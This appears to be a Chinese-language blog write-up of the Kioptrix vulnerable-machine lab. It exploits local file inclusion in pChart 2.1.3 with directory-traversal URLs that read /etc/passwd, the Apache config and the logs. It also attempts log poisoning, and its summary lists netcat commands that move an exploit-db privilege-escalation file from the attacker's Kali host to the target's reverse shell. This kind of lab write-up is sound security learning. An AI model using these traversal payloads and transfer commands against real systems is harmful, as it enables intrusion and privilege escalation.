kioptrix

本地文件包含:简而言之,在目标网站上,url直接是这种类型:http://www.xxx.com/index.php?page=1.html

就是说,网页通过变量page来获取访问者要求的内容,然而,如果给变量page传递其他文件,甚至是服务器上不打算公开的文件。该脚本还是会乖乖取过来递给攻击者。这TM就很尴尬了,权限没设置好啊。

好,我们现在分析一下,网页做了什么。

导航按钮有,案例、沙盒、延迟载入、图片地图

点案例,会有图片和图片的源代码。叫图片不合适,应该叫图表。

图片会延迟出现一点,说明可能是在本地浏览器,通过php脚本,现绘制而成(猜测)。

F12看网络交互,可以看到服务器传递来的资源,有一些png图片、gif图片,还有php脚本。

通过打开一些图片的地址
http://192.168.1.159/pChart2.1.3/examples/resources/dash-explorer-noleaf.png

确认图表是绘制而成的。

传递过来的php脚本的地址是这样的:

http://192.168.1.159/pChart2.1.3/examples/index.php?Action=View&Script=example.drawAreaChart.enhanced.php

点沙盒,貌似可以通过页面上的表单改变参数,点生成图表,图表就可以根据给的参数而变化。

点延迟载入,翻译了下,貌似是拉丁语,不知道是什么东西。

点图片地图,貌似也有传递的php脚本。

http://192.168.1.159/pChart2.1.3/examples/imageMap/index.php?Action=ViewPHP&Script=scripts/3DRing.php

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

先用浏览器打开脚本的地址,然后用script参数试试/etc/passwd。发现两个地址都可以成功显示密码文件。

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

还有一个问题。。不知道Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf,这个是怎么猜出来的?

如果服务器在给出的路径中,并没有那个文件,那么浏览器就会显示空白。每个目标的配置文件,位置应该会有所不同吧。。?

搜索”freebsd
apache路径”关键字
,注意!下面的默认路径是apache而不是apache22。。。。而在目标中有版本号22。。。

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

搜索关键字”freebsd apache log file
location”,尝试之下找出了两个文件路径。

http://192.168.1.159/pChart2.1.3/examples/index.php?Action=ViewPHP&Script=../../../../../../../var/log/httpd-error.log

http://192.168.1.159/pChart2.1.3/examples/index.php?Action=View&Script=../../../../../../../../../var/log/httpd-access.log

尝试本地包含漏洞的代码执行,参考

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

失败,如上图所示,php代码并没有执行。还是<?php phpinfo(); 
?>。如果成功执行了,日志页面log应该如下所示。

失败的原因是:在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。可能那个参数没开,所以没有执行。(目标主机php版本5.3.8)

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
另一台虚拟靶机的截图
:::
:::

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

总结:

curl  -H  "User-Agent:Mozilla/4.0"  http://192.168.1.159:8080

curl与wget的区别:wget用来下载文件。curl可以post数据,可以自定义request等,比较灵活。使用侧重点不同。

通过在msf里,用”search phptax”,寻找可利用模块。

nc -lvp 443 < exploit.c 
(kali执行,将exploit-db的提权命令复制下来,然后监听本地443端口)

nc -nv kali主机ip 443 -w 5 >exploit.c 
(目标主机反弹shell上执行,获取443端口的exploit文件)

-l:使用监听模式,监控传入的资料;

-n:直接使用ip地址,而不通过域名服务器;

-v:显示指令执行过程;

-w<超时秒数>:设置等待连线的时间;

可以知道,虽然文件包含漏洞在不能执行任意代码的时候,有点鸡肋,但是泄露的信息同样可能会导致getshell。所以不要小看任何漏洞。
:::
:::
:::